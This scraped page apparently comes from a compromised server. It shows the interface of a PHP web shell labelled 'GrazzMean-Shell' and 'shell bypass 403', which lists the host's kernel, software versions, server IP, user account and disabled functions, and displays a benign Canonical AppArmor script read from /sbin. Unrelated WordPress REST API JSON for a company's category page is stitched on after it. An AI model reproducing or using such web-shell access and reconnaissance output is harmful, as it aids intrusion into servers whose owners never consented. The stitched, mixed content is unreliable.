shell bypass 403

GrazzMean-Shell Shell

: /sbin/ [ drwxr-xr-x ]
Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 18.224.43.98
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

name : aa-remove-unknown
#!/bin/sh
# ----------------------------------------------------------------------
#    Copyright (c) 2017 Canonical Ltd. (All rights reserved)
#
#    This program is free software; you can redistribute it and/or
#    modify it under the terms of version 2 of the GNU General Public
#    License published by the Free Software Foundation.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program. If not, see <http://www.gnu.org/licenses/>.
# ----------------------------------------------------------------------

APPARMOR_FUNCTIONS=/lib/apparmor/rc.apparmor.functions
APPARMORFS=/sys/kernel/security/apparmor
PROFILES="${APPARMORFS}/profiles"
REMOVE="${APPARMORFS}/.remove"

DRY_RUN=0

. $APPARMOR_FUNCTIONS

usage() {
	local progname="$1"
	local rc="$2"
	local msg="usage: ${progname} [options]

Remove profiles unknown to the system

Options:
 -h, --help	Show this help message and exit
 -n		Dry run; don't remove profiles"

	if [ "$rc" -ne 0 ] ; then
		echo "$msg" 1>&2
	else
		echo "$msg"
	fi

	exit "$rc"
}

if [ "$#" -gt 1 ] ; then
	usage "$0" 1
elif [ "$#" -eq 1 ] ; then
	if [ "$1" = "-h" -o "$1" = "--help" ] ; then
		usage "$0" 0
	elif [ "$1" = "-n" ] ; then
		DRY_RUN=1
	else
		usage "$0" 1
	fi
fi


# We can't use a -r test here because while $PROFILES is world-readable,
# apparmorfs may still return EACCES from open()
#
# We have to do this check because error checking awk's getline() below is
# tricky and, as is, results in an infinite loop when apparmorfs returns an
# error from open().
if ! IFS= read line < "$PROFILES" ; then
	echo "ERROR: Unable to read apparmorfs profiles file" 1>&2
	exit 1
elif [ ! -w "$REMOVE" ] ; then
	echo "ERROR: Unable to write to apparmorfs remove file" 1>&2
	exit 1
fi

# Clean out running profiles not associated with the current profile
# set, excluding the libvirt dynamically generated profiles.
# Note that we reverse sort the list of profiles to remove to
# ensure that child profiles (e.g. hats) are removed before the
# parent. We *do* need to remove the child profile and not rely
# on removing the parent profile when the profile has had its
# child profile names changed.
profiles_names_list | awk '
BEGIN {
  while (getline < "'${PROFILES}'" ) {
    str = sub(/ \((enforce|complain)\)$/, "", $0);
    if (match($0, /^libvirt-[0-9a-f\-]+$/) == 0)
      arr[$str] = $str
  }
}

{ if (length(arr[$0]) > 0) { delete arr[$0] } }

END {
  for (key in arr)
    if (length(arr[key]) > 0) {
      printf("%s\n", arr[key])
    }
}
' | LC_COLLATE=C sort -r | \
	while IFS= read profile ; do
		if [ "$DRY_RUN" -ne 0 ]; then
			echo "Would remove '${profile}'"
		else
			echo "Removing '${profile}'"
			echo -n "$profile" > "${REMOVE}"
		fi
	done

# will not catch all errors, but still better than nothing
exit $?
© 2025 GrazzMean-Shell
{"id":147,"count":2,"description":"","link":"https:\/\/utdes.com\/category\/services\/custom-lead-generation-software\/","name":"Custom Lead Generation Software","slug":"custom-lead-generation-software","taxonomy":"category","parent":16,"meta":[],"yoast_head":"Custom Lead Generation Software Archives - Michigan AI Application Development - Best Microsoft C# Developers & Technologists<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/utdes.com\/category\/services\/custom-lead-generation-software\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Custom Lead Generation Software Archives - Michigan AI Application Development - Best Microsoft C# Developers & Technologists\" \/>\n<meta property=\"og:url\" content=\"https:\/\/utdes.com\/category\/services\/custom-lead-generation-software\/\" \/>\n<meta property=\"og:site_name\" content=\"Michigan AI Application Development - Best Microsoft C# Developers & Technologists\" \/>\n<meta property=\"og:image\" content=\"https:\/\/utdes.com\/wp-content\/uploads\/2021\/02\/ING_32193_123113.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1057\" \/>\n\t<meta property=\"og:image:height\" content=\"931\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:site\" content=\"@UsetechD\" \/>","yoast_head_json":{"title":"Custom Lead Generation Software Archives - Michigan AI Application Development - Best Microsoft C# Developers & Technologists","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/utdes.com\/category\/services\/custom-lead-generation-software\/","og_locale":"en_US","og_type":"article","og_title":"Custom Lead Generation Software Archives - Michigan AI Application Development - Best Microsoft C# Developers & Technologists","og_url":"https:\/\/utdes.com\/category\/services\/custom-lead-generation-software\/","og_site_name":"Michigan AI Application Development - Best Microsoft C# Developers & Technologists","og_image":[{"width":1057,"height":931,"url":"https:\/\/utdes.com\/wp-content\/uploads\/2021\/02\/ING_32193_123113.png","type":"image\/png"}],"twitter_card":"summary_large_image","twitter_site":"@UsetechD","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"CollectionPage","@id":"https:\/\/utdes.com\/category\/services\/custom-lead-generation-software\/","url":"https:\/\/utdes.com\/category\/services\/custom-lead-generation-software\/","name":"Custom Lead Generation Software Archives - Michigan AI Application Development - Best Microsoft C# Developers & Technologists","isPartOf":{"@id":"https:\/\/utdes.com\/#website"},"breadcrumb":{"@id":"https:\/\/utdes.com\/category\/services\/custom-lead-generation-software\/#breadcrumb"},"inLanguage":"en-US"},{"@type":"BreadcrumbList","@id":"https:\/\/utdes.com\/category\/services\/custom-lead-generation-software\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/utdes.com\/"},{"@type":"ListItem","position":2,"name":"Services","item":"https:\/\/utdes.com\/category\/services\/"},{"@type":"ListItem","position":3,"name":"Custom Lead Generation Software"}]},{"@type":"WebSite","@id":"https:\/\/utdes.com\/#website","url":"https:\/\/utdes.com\/","name":"Michigan AI Application Development - Best Microsoft C# Developers & Technologists","description":"A full-service software development company.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/utdes.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/utdes.com\/wp-json\/wp\/v2\/categories\/147"}],"collection":[{"href":"https:\/\/utdes.com\/wp-json\/wp\/v2\/categories"}],"about":[{"href":"https:\/\/utdes.com\/wp-json\/wp\/v2\/taxonomies\/category"}],"up":[{"embeddable":true,"href":"https:\/\/utdes.com\/wp-json\/wp\/v2\/categories\/16"}],"wp:post_type":[{"href":"https:\/\/utdes.com\/wp-json\/wp\/v2\/posts?categories=147"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}